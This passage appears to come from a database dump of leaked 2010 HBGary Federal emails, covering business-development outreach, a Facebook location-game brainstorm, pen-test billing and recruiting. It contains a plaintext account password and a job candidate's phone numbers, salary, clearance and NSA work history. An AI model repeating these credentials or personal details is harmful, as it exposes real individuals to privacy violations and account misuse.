eric.hipkins@nekasg.com\r\nBlackberry – eric.hipkins@vzw.blackberry.net\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCONFIDENTIALITY NOTICE: This e-mail message, including any attachments, is\r\nfor the sole use of the intended recipient(s) and may contain proprietary\r\ninformation. Any unauthorized review, use, disclosure or distribution is\r\nprohibited. If you are NOT the intended recipient, please contact the sender by\r\nreply e-mail and destroy all copies of the original message.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Keith\r\nOanes \r\nSent: Tuesday, July 20, 2010 3:05 PM\r\nTo: Ted Vera\r\nCc: Eric Hipkins\r\nSubject: RE: HBGary\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nTed,\r\n\r\n               \r\nI appreciate your email and follow up; I have spoken with Bruce and Eric and\r\nthey are making plans to meet with you when Bruce returns from his current\r\nbusiness trip.  Eric Hipkins (cc’d above) will be contacting you for a\r\nmeeting in the Colorado Springs area.  I am currently unavailable to meet\r\nfor the next couple of weeks but Eric is the subject matter expert for this\r\ncapability within NEK.\r\n\r\n               \r\nAs they internally work the details for the meeting, please feel free to\r\ncontact Eric or myself with any questions you may have.  Sorry I could not\r\nrespond earlier but I was hoping to have dates for the meeting before I\r\nresponded.\r\n\r\n               \r\nTake care\r\n\r\n \r\n\r\nV/R\r\n\r\nKeith\r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\nKeith Oanes\r\nDirector, Business Development Group\r\nNEK Advanced Securities Group Inc.\r\n\r\nOffice - 719-634-5523\r\nCell - 208-871-0099\r\nFax - 719-596-6318\r\nEmail - keith.oanes@nekasg.com\r\n\r\n\r\n\r\nCONFIDENTIALITY\r\nNOTICE: This e-mail message, including any attachments, is for the sole use of\r\nthe intended recipient(s) and may contain proprietary information. Any\r\nunauthorized review, use, disclosure or distribution is prohibited. If you are\r\nNOT the intended recipient, please contact the sender by reply e-mail and\r\ndestroy all copies of the original message.\r\n\r\n \r\n\r\n\r\n\r\nFrom: Ted\r\nVera [mailto:ted@hbgary.com]\r\n\r\nSent: Tuesday, July 20, 2010 2:59 PM\r\nTo: Keith Oanes\r\nSubject: Re: HBGary\r\n\r\n\r\n\r\n \r\n\r\nHello\r\nagain Keith, \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nJust\r\nwanted to follow-up to see if there was any interest in meeting up.  Are\r\nyou in town this week?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nRegards,\r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nOn\r\nThu, Jul 15, 2010 at 1:17 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nHi\r\nKeith, \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAs\r\nI mentioned on the phone, Aaron Barr and Bruce Parkman met sometime ago and it\r\nsounded like there could be some corporate synergies between our groups.\r\n I was asked to follow up on this since I am located in Colorado Springs.\r\n HBGary is a small software development and\r\nservices company, headquartered in Sacramento, CA.  We specialize in all\r\nthings related to malware.  Greg Hoglund is HBGary Inc&#39;s CEO and founded\r\nthe company in 2003.  Greg is an accomplished author, world recognized\r\nleader in rootkit technology and was recently named one of &quot;10 hackers to\r\nknow&quot; in Network Security magazine.  We offer a number of Cyber\r\nservices including malware reverse engineering, vulnerability research, exploit\r\ndevelopment, incident response, penetration testing, and digital forensics.\r\n We also have a mature product-line of COTS which assist in accomplishing\r\nthose tasks.  \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nI&#39;ve\r\nattached three whitepapers that I think you may find interesting.  The\r\nfirst is our analysis of the Aurora attack, the second is a how-to guide for\r\nusing our REcon product to develop software exploits, and the third describes\r\nour latest Enterprise product, Active Defense.  \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nIf\r\nyou&#39;re interested, I&#39;d love to have an\r\nopportunity to discuss capabilities and Cyber related business development\r\nopportunities.  \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nRegards,\r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n--\r\n\r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nhttp://www.hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- Ted Vera  |  President  |  HBGary FederalOffice 916-459-4727x118  | Mobile 719-237-8623www.hbgary.com  |  ted@hbgary.com\r\n\r\n\r\n',642,'aaron_hbgary_com/642.html'),(11237,'2010-09-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008566.M648823P14101Q6092.eml','\"Chris Clair\" <CHRISTOPHER.CLAIR@tasc.com>','I2S','Hey Chris,\r\n\r\nAnything new on getting us on this contract vehicle?  Is it possible to get Mark recleared with the customer?  Did you ever get Eric cleared?\r\n\r\nAaron',846,'aaron_hbgary_com/846.html'),(11238,'2010-09-02','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297008566.M868835P14101Q6093.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: MyBlock',' \r\nMy thought is this - create a fantasy equivalent to the game play / mechanics found in WoW (and by extension, every attempt at cloning wow).  We have to remember that this is a game first, and a social experience second.  Unlike WoW, the GUI would be more condusive to an iPad, but still very nice graphics in that fashion (see reference to graphics / GUI below).  Add to the gameplay just a few extensions.  First, it would allow player owned property and player-controlled NPC&#39;s that remain persistent in game -- These resources play a part in the competitive mechanics and game economy.  Second, it would incorporate real world location as a factor in game play - THIS IS A KEY DIFFERENTIATOR.  The entire game would be based on solid conflict mechanics that makes it a real game, highly competitive, and something people want to play.  This means that factions compete for resources, players combat one another in PvP, and certain guilds participate in empire-building that puts them in direct conflict with other guilds trying to do the same.  Quests and mechanics would include in-game goals as well as real-world location as a factor.  We have thrown out many ideas for how real-world location can be tied into the game play - in-game buildings can be associated with real-world locations, people swarming on a checkin location could cause bonuses in game, areas of the map can be themed to a particular real world city, players can control entire blocks and even cities, real world locations give random drops, treasure maps give treasure, and retail touring give bonuses (we will have no shortage of ideas here guys).  But, the real important part of all this is that the game is ---&gt; leeching off the existing social network(s) the players maintain on FaceBook &lt;---.  That is the cheating part - and the reason a rinky-dink game like FarmVille makes a tiny company called Zenga worth over a hundred million dollars.  \r\n\r\n \r\nRegarding the GUI: I can show you an exact replica of the GUI/graphics I am talking about: Check out the screenshots on this page: http://www.torchlightgame.com/media/ - Torchlight is written using Ogre3D, same rendering engine we chose.  So, as you can see, the graphics would be quite nice - similar to the way Diablo works in terms of driving the interface.  AND, this graphics interface will COST LESS than a more traditional MMO/WoW-like view.  People would go ape shit over this.\r\n\r\n \r\n-Greg\r\n \r\n \r\nOn Thu, Sep 2, 2010 at 5:12 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nMy opinion is we can build something that will make money, potentiallylots of it, but the details of game play are critical.  We have a good\r\nidea, novel, will likely get a lot of press because it hasn&#39;t beendone before.  But if the details aren&#39;t right you won&#39;t get theaudience.  Check out a game called gpswar.  iPad/iPhone game thatallows you to battle factions and control territory on a map.  It&#39;s\r\nlike mafia was but has location as a key feature.  You can own realmap territory.  Great idea.  Game play is not challenging orcompelling so it&#39;s not popular.Sent from my iPad\r\n\r\n\r\nOn Sep 2, 2010, at 8:03 AM, Bob Slapnik &lt;bob@hbgary.com&gt; wrote:&gt; Hmmm.  Cityscape. Real life has its orderly side and its ugly sides.  Some&gt; &quot;players&quot; will want to beautify and grow the city.  But doesn&#39;t a good\r\n&gt; story, movie or game need a protagonist and some interesting conflict?&gt; Needs to be corruption, crime, crooked cops, vice, graft, etc.&gt;&gt; In WOW do players &quot;mess with each other&quot;?  You&#39;re grinding through the game\r\n&gt; and meet characters.  Some of those characters are truly nasty?  I can see&gt; sweet, lovable Greg unleashing his real world frustration on some&gt; unsuspecting game character.&gt;&gt; Back to my question.... Can we develop a game that is good enough, fun\r\n&gt; enough and highly marketable?....... Or do we just want to spend our time,&gt; energy and money to just build the $%%^$##%^ thing and see what happens?&gt; &#39;Cause it&#39;s fun?  &quot;Cause we just want to?\r\n&gt;&gt;&gt;&gt; -----Original Message-----&gt; From: Aaron Barr [mailto:aaron@hbgary.com]&gt; Sent: Wednesday, September 01, 2010 11:44 PM&gt; To: Greg Hoglund\r\n&gt; Cc: Bob Slapnik&gt; Subject: MyBlock&gt;&gt; Convergence of Location based services, your social network, and the virtual&gt; gaming world.&gt;&gt; Social Network comes from Facebook Connect API to pull in your friends list\r\n&gt; (this is what Zynga and all the other games use).&gt; Location Based Services comes from Facebook Places API.  Each of the&gt; retailers or locations has a page in facebook and they can link their page&gt; to our game.\r\n&gt; There is a status and management page in Facebook for MyBlock that allows&gt; you to see the stats of your Block and your Neighbors with their own Blocks.&gt; Your Block and that of your Residence comprise a city.  You compete against\r\n&gt; other cities through challenges, points, status, etc.&gt;&gt; When you physically check in to a near-world place you can get a&gt; pseudo-random drop that you can use to decorate your block and give you\r\n&gt; buffs.  or other benefits in world.  When you check in X number of times or&gt; become the &quot;mayor&quot; you get a foundstone and that foundstone can then be used&gt; to create a building in world on your block.\r\n&gt;&gt; Some items can be donated to the city to build larger items that give the&gt; overall city bigger buffs or benefits, reach certain levels or status.&gt;&gt; In world challenges:&gt; Leaderboards - whose got the most livable city.\r\n&gt; Challenges - This should have an in-world and near-world component.  Need so&gt; many checkins at a particular place in a certain time period.  A city can&gt; bury certain items in their city (near or in-world) and another city has to\r\n&gt; uncover the clues and find the&gt; Conflct - You can encroach on another city both in world and near world.&gt; You can spend money to hire thugs to go rough the place up, start up&gt; organized crime circuits.  You can steal mayorships to weaken the in-world\r\n&gt; town.  When this happens the city owners have to expend resources to take&gt; back physical territory and spend resources hiring police, combating the&gt; encroachment, etc.&gt;&gt; OK the game play definately needs some work but I think we have a basic idea\r\n&gt; to work with that is a good one.&gt;&gt; Thoughts?&gt;&gt; Aaron&gt;&gt; To bobs question.  Where does the revenue come in.  There are items that you&gt; can purchase through the store to help in-world play.  You also get money\r\n&gt; through advertising from retailers.&gt; No virus found in this incoming message.&gt; Checked by AVG - www.avg.com&gt; Version: 9.0.851 / Virus Database: 271.1.1/3095 - Release Date: 09/01/10\r\n&gt; 14:34:00&gt;\r\n',9407,'aaron_hbgary_com/9407.html'),(11239,'2010-09-02','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297008567.M279052P14101Q6095.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','ipad dungeon game',' \r\nAaron,\r\nHere is the ipad game I was telling you about\r\nhttp://www.youtube.com/watch?v=D9n9g2Jj-kQ\r\n \r\nsimilar to graphics of torchlight but I dunno what they use under the hood.\r\n \r\n-Greg\r\n',10115,'aaron_hbgary_com/10115.html'),(11240,'2010-09-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008567.M548861P14101Q6096.eml','\"Greg Hoglund\" <greg@hbgary.com>','Re: ipad dungeon game','I downloaded this and have played it a bit. &nbsp;Its a good game, similar aspects to WoW, but more bounded.AaronOn Sep 2, 2010, at 4:43 PM, Greg Hoglund wrote:&nbsp;\r\nAaron,\r\nHere is the ipad game I was telling you about\r\nhttp://www.youtube.com/watch?v=D9n9g2Jj-kQ\r\n&nbsp;\r\nsimilar to graphics of torchlight but I dunno what they use under the hood.\r\n&nbsp;\r\n-Greg\r\n',13599,'aaron_hbgary_com/13599.html'),(11241,'2010-09-02','\"Mark Trynor\" <mark@hbgary.com>','/aaron@hbgary.com/new/1297008567.M77064P14101Q6094.eml','\"Aaron Barr\" <aaron@hbgary.com>','HBGary Federal Website Registration','Welcome to HBGary Federal\r\nYour password : P*ab6H#V',8597,'aaron_hbgary_com/8597.html'),(11242,'2010-09-02','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297008567.M807631P14101Q6097.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: ipad dungeon game','will call u later if u have energy for an evening call - i will be driving back to sac from san fran at around 4PM my time - i think we getting closer to a salient idea here\r\nOn Thu, Sep 2, 2010 at 1:53 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nI downloaded this and have played it a bit.  Its a good game, similar aspects to WoW, but more bounded. \r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Sep 2, 2010, at 4:43 PM, Greg Hoglund wrote:\r\n\r\n \r\nAaron,\r\nHere is the ipad game I was telling you about\r\nhttp://www.youtube.com/watch?v=D9n9g2Jj-kQ\r\n \r\nsimilar to graphics of torchlight but I dunno what they use under the hood.\r\n \r\n-Greg\r\n',7235,'aaron_hbgary_com/7235.html'),(11243,'2010-09-02','\"Woodworth, Lora (TASC)\" <lora.woodworth@TASC.COM>','/aaron@hbgary.com/new/1297008573.M684529P14101Q6098.eml','\"Ted Vera\" <ted@hbgary.com>,\"Mann, Eric A (TASC)\" <Eric.Mann@TASC.COM>,\"Ted Vera\" <ted@hbgary.com>,\"Mann, Eric A (TASC)\" <Eric.Mann@TASC.COM>','RE: Asood','Ted,\r\nHow are things?  We worked with Arun Sood on the SCIT technology for about two years on the NG research network (TRIAD/DESL).  The nature of our collaboration was to perform a vulnerability and performance test on the SCIT webserver/shopping cart implementation they had built up. Originally we were going to also test their DNS implementation but it was not ready when we ended the project in the summer of 2009.  The solution was left on the VM server in the lab in Lafayette.  So we really don\'t have access to it anymore. I agree that Arun is not very good at describing the technical aspects of his product beyond the high level.  Eric really did get down in the weeds with the system though and we could probably help you out with more discussion.  \r\n\r\nI will be around tomorrow if you want to give me a call.\r\n\r\n\r\nLora Woodworth, PMP\r\nCISSP, GCIH\r\nTASC, inc\r\nLora.woodworth@tasc.com\r\n719-622-5655 (work)\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com] \r\nSent: Wednesday, September 01, 2010 10:33 AM\r\nTo: Mann, Eric A (TASC); Woodworth, Lora (TASC)\r\nCc: Barr Aaron; mark@hbgary.com\r\nSubject: Asood\r\n\r\nHi Eric / Lora,\r\n\r\nI was approached by Asood from GMU at the GFirst Conference in San\r\nAntonio.  He mentioned that you are evaluating his software in the\r\nTRIAD.  He is interested in integrating HBGary DDNA technology into\r\nhis solution.  His overview was very vague and I mentioned that I know\r\nboth of you, and that I would like to see his software in order to\r\nbetter understand its form, fit, function, etc..\r\n\r\nDo you have some time to discuss/demo or give me an email overview?\r\n\r\nThanks,\r\nTed\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',4080,'aaron_hbgary_com/4080.html'),(11244,'2010-09-02','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008574.M160146P14101Q6099.eml','\"Barr Aaron\" <aaron@hbgary.com>,mark@hbgary.com','Fwd: PenTest Debrief','Encouraging, yet vague...\r\n\r\n\r\n\r\n\r\n---------- Forwarded message ----------\r\nFrom: Jerry McClure \r\nDate: Thu, Sep 2, 2010 at 4:24 PM\r\nSubject: RE: PenTest Debrief\r\nTo: Ted Vera \r\n\r\n\r\nOnce you get us everything, we can turn this around quickly.  They\r\npaid very quickly the last time but I\'m not sure what this was.  We\r\nwill ensure you get paid on time.  Thanks\r\n\r\n________________________________________\r\nFrom: Ted Vera [ted@hbgary.com]\r\nSent: Thursday, September 02, 2010 5:31 PM\r\nTo: Jerry McClure\r\nSubject: Re: PenTest Debrief\r\n\r\nWill do Jerry.  I expect feedback tonight, I\'ll send the final\r\ntomorrow (and ask for an acceptance email).  Then I\'ll send you\r\neverything you need for billing.  Per the subcontract agreement I\r\nbelieve it said Agilex will pay us 5 days after receipt of payment\r\nfrom the customer.  Assuming I have everything to you by Monday, when\r\nwould you guess that we should expect to receive payment?\r\n\r\nThanks,\r\nTed\r\n\r\n\r\n\r\n\r\nOn Thu, Sep 2, 2010 at 2:39 PM, Jerry McClure  wrote:\r\n> Great news Ted.  Once you send the final, please get them to send an email back that this is completed and they accept the deliverable and cc me or forward to me.  Thanks for a great job by you and Mark.  Then I need to know how many hours you and Mark put in so we can bill LANL.  It would be good if you got me all the travel expenses also.\r\n>\r\n> ________________________________________\r\n> From: Ted Vera [ted@hbgary.com]\r\n> Sent: Thursday, September 02, 2010 12:36 PM\r\n> To: Jerry McClure\r\n> Subject: PenTest Debrief\r\n>\r\n> Hello Jerry,\r\n>\r\n> We just concluded the PenTest debrief, I\'d say it went well.  A couple\r\n> of folks had a chance to preview the draft deliverables and the only\r\n> feedback thus far is that they would like us to change the title from\r\n> \"Red Team...\" to \"Security Assessment\" or something benign like that\r\n> due to organizational politics.  David is going to gather any\r\n> additional feedback and send it to us tonight.  We aim to have the\r\n> final deliverables complete by COB tomorrow.  If you have any\r\n> questions feel free to call.\r\n>\r\n> Regards,\r\n> Ted\r\n\r\n\r\n\r\n--\r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',10878,'aaron_hbgary_com/10878.html'),(11245,'2010-09-02','\"Phil Wallisch\" <phil@hbgary.com>','/aaron@hbgary.com/new/1297008574.M887924P14101Q6100.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: WILLIS C. MCDONALD II','Hi Aaron.  Sorry I didn&#39;t have time today.  If we keep it to a similar window I can talk tomorrow morning.On Thu, Sep 2, 2010 at 12:13 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nDo u have 16 minutes today?\r\nAaronSent from my iPhoneBegin forwarded message:From: Ed Wallach &lt;ed@wallachsearch.com&gt;\r\n\r\nDate: September 2, 2010 11:58:16 AM EDTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Cc: Alan Ehrlich &lt;alan@wallachsearch.com&gt;\r\n\r\nSubject: Re: WILLIS C. MCDONALD IIHi Aaron,Willis would love to speak with your guys today!He said he&#39;s home all day today.\r\n\r\nHis contact info is:Home- (678) 425-9890Cell - (770) 235-5471willismcdonald2@gmail.com\r\n\r\nThanks-EdOn Sep 1, 2010, at 3:47 PM, Aaron Barr wrote:\r\nThis guy looks interesting.  So I would like to vet his skill set, get one of our Forensic guys on the phone with him.  Does that work?AaronOn Sep 1, 2010, at 1:16 PM, Ed Wallach wrote:\r\n\r\nHi Aaron,here&#39;s a new recruit-lives in GA...will relo up here in 2 seconds...has an FSP!!\r\nCANDIDATE&#39;S NAME:  WILLIS C. MCDONALD IICURRENTLY LIVES IN:  GA			WILL RELOCATEGEOGRAPHIC PREFERENCES:  DC/MD/VA 		He is open to hear about outstanding opportunities elsewhere.\r\n\r\nLOOKING FOR WORK BECAUSE:  The contract he is working on is over in 2 WEEKS. CURRENT SALARY:  $78,000         CLEARANCES:  TS/SCI with a FULLSCOPE POLY (8-2008)EDUCATION AND TRAINING:2006 - 2008 B.S. Information Technology\r\n\r\nSouthern Polytechnic State University, Marietta GA2002 - 2005 Electrical and Computer EngineeringUniversity of New Orleans, New Orleans LA2010 FOR558 Network ForensicsSANSfire  Baltimore MD\r\n\r\nSUMMARY OF QUALIFICATIONS:Over 14 years experience including information security, network administration and live forensic analysis of information systems.  Willis has a strong understanding of various commercial security products and systems including applications, capabilities, and limitations.  He also have extensive professional experience in network planning, implementation and operations. \r\n\r\nPROFESSIONAL EXPERIENCE:2008 - PresentGlobal Network Exploitation and Vulnerability AnalystNational Security Agency, Fort Gordon GAResponsibilities included:  Performing interactive operations, live forensic analysis of remote computer systems and networks, and situational health and security posture analysis of the endpoint environment.  \r\n\r\nSecurity posture analysis included identifying vulnerabilities and security products on systems along with malware identification and analysis for possible capabilities and interference with proprietary tools.  Attended a six month rigorous training course in forensics, software development, reverse engineering and information security. \r\n\r\n2006 - 2008  Network AdministratorThe Community Bank, Loganville GADuties included but were not limited to:Responsible for ensuring overall health and security of bank information systems.  \r\n\r\nAuditing IDS and firewall systems, ground up planning and implementation of branch systems, user administration, backup administration, database administration and development of web based front ends for existing applications and a ground up re-work of the existing web site to include a CMS for ease of future maintenance.  \r\n\r\nAlso, implemented Nagios event monitoring for all servers and security devices.2006 - 2006 Senior TechnicianPifusion Development Group, Tucker GAPerformed repairs and sales of computer hardware, software and network equipment both in-house and on-site.  \r\n\r\nRepair duties included: general hardware/software troubleshooting and replacement and virus and malware remediation.  Implemented and designed network systems for new and existing locations.  Also assessed off-lease equipment for recycling and valuation for sale.\r\n\r\n2002 - 2006  Supervisor TraineeMcDonald Enterprises, Slidell LAAdministered and maintained environmental remediation systems for three hazardous waste remediation sites.  Duties included SCADA and PLC systems administration, company information systems administration and general maintenance and repair of industrial wastewater treatment systems.\r\n\r\n1998 - 2002 Assistant AdministratorFirearms Training Systems, Suwanee GAAdministered a mixed environment network for a computer based firearms training systems manufacturer for military and law enforcement agencies.  \r\n\r\nAdministration duties included backup administration, general user administration, PBX administration and database administration and maintenance.  Also repaired and built desktop systems for end users.  Also monitored web systems for misuse and anomalies.\r\n\r\n1995 - 1996IT SpecialistMFP/King Computer, Norcross GAResponsible for assessment and remediation of off-lease IBM PCs.  Remediation included loading and configuring systems to customer specifications.  \r\n\r\nImplemented network based loading system to improve productivity over using legacy floppy based loading.  \r\n\r\n~~~~~~~~~~~~~~~~~~~~~~Ed Wallach \r\n\r\nPresident &amp; CEO\r\n\r\nEd Wallach Search Group \r\n\r\n301-365-3291 office  \r\n\r\n301-613-0629 mobile\r\n\r\n301-365-3292 fax ed@wallachsearch.com\r\n\r\nwww.wallachsearch.com\r\n\r\nRecruiting Intelligence \r\n\r\n\r\n\r\n&lt;app_full_proxy.php.gif&gt;\r\n\r\n\r\n\r\n\r\n\r\n~~~~~~~~~~~~~~~~~~~~~~Ed Wallach \r\n\r\nPresident &amp; CEO\r\n\r\nEd Wallach Search Group \r\n\r\n301-365-3291 office  \r\n\r\n301-613-0629 mobile\r\n\r\n301-365-3292 fax ed@wallachsearch.com\r\n\r\nwww.wallachsearch.com\r\n\r\nRecruiting Intelligence \r\n\r\n\r\n\r\n\r\n\r\n\r\n-- Phil Wallisch | Principal Consultant | HBGary, Inc.3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460\r\nWebsite: http://www.hbgary.com | Email: phil@hbgary.com | Blog:  https://www.hbgary.com/community/phils-blog/\r\n\r\n',395,'aaron_hbgary_com/395.html'),(11246,'2010-09-02','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297008575.M104453P14101Q6101.eml','\"Penny C. Hoglund\" <penny@hbgary.com>,\"Penny C. Hoglund\" <penny@hbgary.com>,,','DigitalGlobe','PennyDigitalGlobe will get back to me tomorrow on availability for Greg to present.  He needs to check more calendars because he would like the CIO to be present.  The money is budgeted and available, and it does not require CIO approval. HOWEVER, he does agree that priorities are shifting and that this would be very helpful.\r\nThey are very interested in Greg&#39;s view on what mitigation paths other companies are taking.  He will let me know tomorrow but it is possible it will be next Friday or shortly thereafter.\r\nMaria-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  \r\n\r\n',15799,'aaron_hbgary_com/15799.html'),(11247,'2010-09-02','\"Daniel Collender\" <dcollend@digitalglobe.com>','/aaron@hbgary.com/new/1297008575.M314419P14101Q6102.eml','\"Aaron Barr\" <aaron@hbgary.com>','May have found some folks','\r\nHi Aaron,\r\n\r\nThe basic skill set is as follows:\r\n\r\n\r\nSenior “Security conscious” Windows architect/implementation engineer\r\n\r\nDesirable Certifications:\r\n-	MCSE Security on Windows Server 2003\r\n-	S+/CISSP\r\n-	Microsoft Certified Architect (MCA) in Exchange Server/Directory/\r\n-	Microsoft Certified Master\r\nTerm of Project  - 3 to 6 months depending on scope of work\r\nKey Responsibilities – \r\n-	Architecting our future Windows environments and integration with MOSS 2010/Exchange 2010/SCCM/SCOM and other corporate Windows services\r\n-	Designing and implementing secure infrastructure\r\n\r\nSecret Security Clearance is desirable\r\nAbility to architect securely to defend against newer threats including APT\'s is desirable\r\n\r\nHope this helps.\r\n\r\nBest,\r\nDan\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, September 02, 2010 8:14 AM\r\nTo: Daniel Collender\r\nSubject: May have found some folks\r\n\r\n> Old - S/MIME Signed: 9/2/2010 at 8:13:44 AM\r\n\r\nCan you refresh me on some of the details of what you are looking for within the senior windows security architect.\r\n\r\nAaron\r\n\r\n* Aaron Barr \r\n* Issuer: \"VeriSign\r\n\r\n* Daniel Collender \r\n* 0xE9377C7C(L)\r\n\r\n',6319,'aaron_hbgary_com/6319.html'),(11248,'2010-09-03','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','/aaron@hbgary.com/new/1297008575.M509668P14101Q6103.eml','\"Inc. HBGARY\" <All@hbgary.com>','I will be out of the office tomorrow','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nPlease call me on my cell phone if you need anything.&nbsp;\r\n408-646-1926\r\n\r\n&nbsp;\r\n\r\nThanks\r\n\r\n&nbsp;\r\n\r\nDeeAnn Buonaccorsi\r\n\r\nOffice\r\nManager\r\n\r\nHBGary,\r\nInc.\r\n\r\n3604\r\nFair Oaks Blvd.&nbsp; Suite 250\r\n\r\nSacramento,\r\nCA&nbsp; 95864\r\n\r\nTel:&nbsp;\r\n916-459-4727 ext. 101\r\n\r\nFax:\r\n916-481-1460\r\n\r\nEmail&nbsp;\r\ndeeann@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5783,'aaron_hbgary_com/5783.html'),(11249,'2010-09-03','\"Mann, Eric A (TASC)\" <Eric.Mann@TASC.COM>','/aaron@hbgary.com/new/1297008575.M706716P14101Q6104.eml','\"Woodworth, Lora (TASC)\" <lora.woodworth@TASC.COM>,\"Ted Vera\" <ted@hbgary.com>,\"Woodworth, Lora (TASC)\" <lora.woodworth@TASC.COM>,\"Ted Vera\" <ted@hbgary.com>','RE: Asood','Hello Ted,\r\n\r\nWhat Lora said!  I will be on post at Ft. Carson all day tomorrow working JTAGS but can chat with you further concerning the tech details of SCIT early next week if you are available.\r\n\r\nThanks,\r\n\r\nEric A. Mann, CISSP\r\nCyberWarrior Program Manager\r\neric.mann@tasc.com\r\n719.622.5656\r\n\r\n\r\n-----Original Message-----\r\nFrom: Woodworth, Lora (TASC) \r\nSent: Thursday, September 02, 2010 4:06 PM\r\nTo: Ted Vera; Mann, Eric A (TASC)\r\nCc: Barr Aaron; mark@hbgary.com\r\nSubject: RE: Asood\r\n\r\nTed,\r\nHow are things?  We worked with Arun Sood on the SCIT technology for about two years on the NG research network (TRIAD/DESL).  The nature of our collaboration was to perform a vulnerability and performance test on the SCIT webserver/shopping cart implementation they had built up. Originally we were going to also test their DNS implementation but it was not ready when we ended the project in the summer of 2009.  The solution was left on the VM server in the lab in Lafayette.  So we really don\'t have access to it anymore. I agree that Arun is not very good at describing the technical aspects of his product beyond the high level.  Eric really did get down in the weeds with the system though and we could probably help you out with more discussion.  \r\n\r\nI will be around tomorrow if you want to give me a call.\r\n\r\n\r\nLora Woodworth, PMP\r\nCISSP, GCIH\r\nTASC, inc\r\nLora.woodworth@tasc.com\r\n719-622-5655 (work)\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com] \r\nSent: Wednesday, September 01, 2010 10:33 AM\r\nTo: Mann, Eric A (TASC); Woodworth, Lora (TASC)\r\nCc: Barr Aaron; mark@hbgary.com\r\nSubject: Asood\r\n\r\nHi Eric / Lora,\r\n\r\nI was approached by Asood from GMU at the GFirst Conference in San\r\nAntonio.  He mentioned that you are evaluating his software in the\r\nTRIAD.  He is interested in integrating HBGary DDNA technology into\r\nhis solution.  His overview was very vague and I mentioned that I know\r\nboth of you, and that I would like to see his software in order to\r\nbetter understand its form, fit, function, etc..\r\n\r\nDo you have some time to discuss/demo or give me an email overview?\r\n\r\nThanks,\r\nTed\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  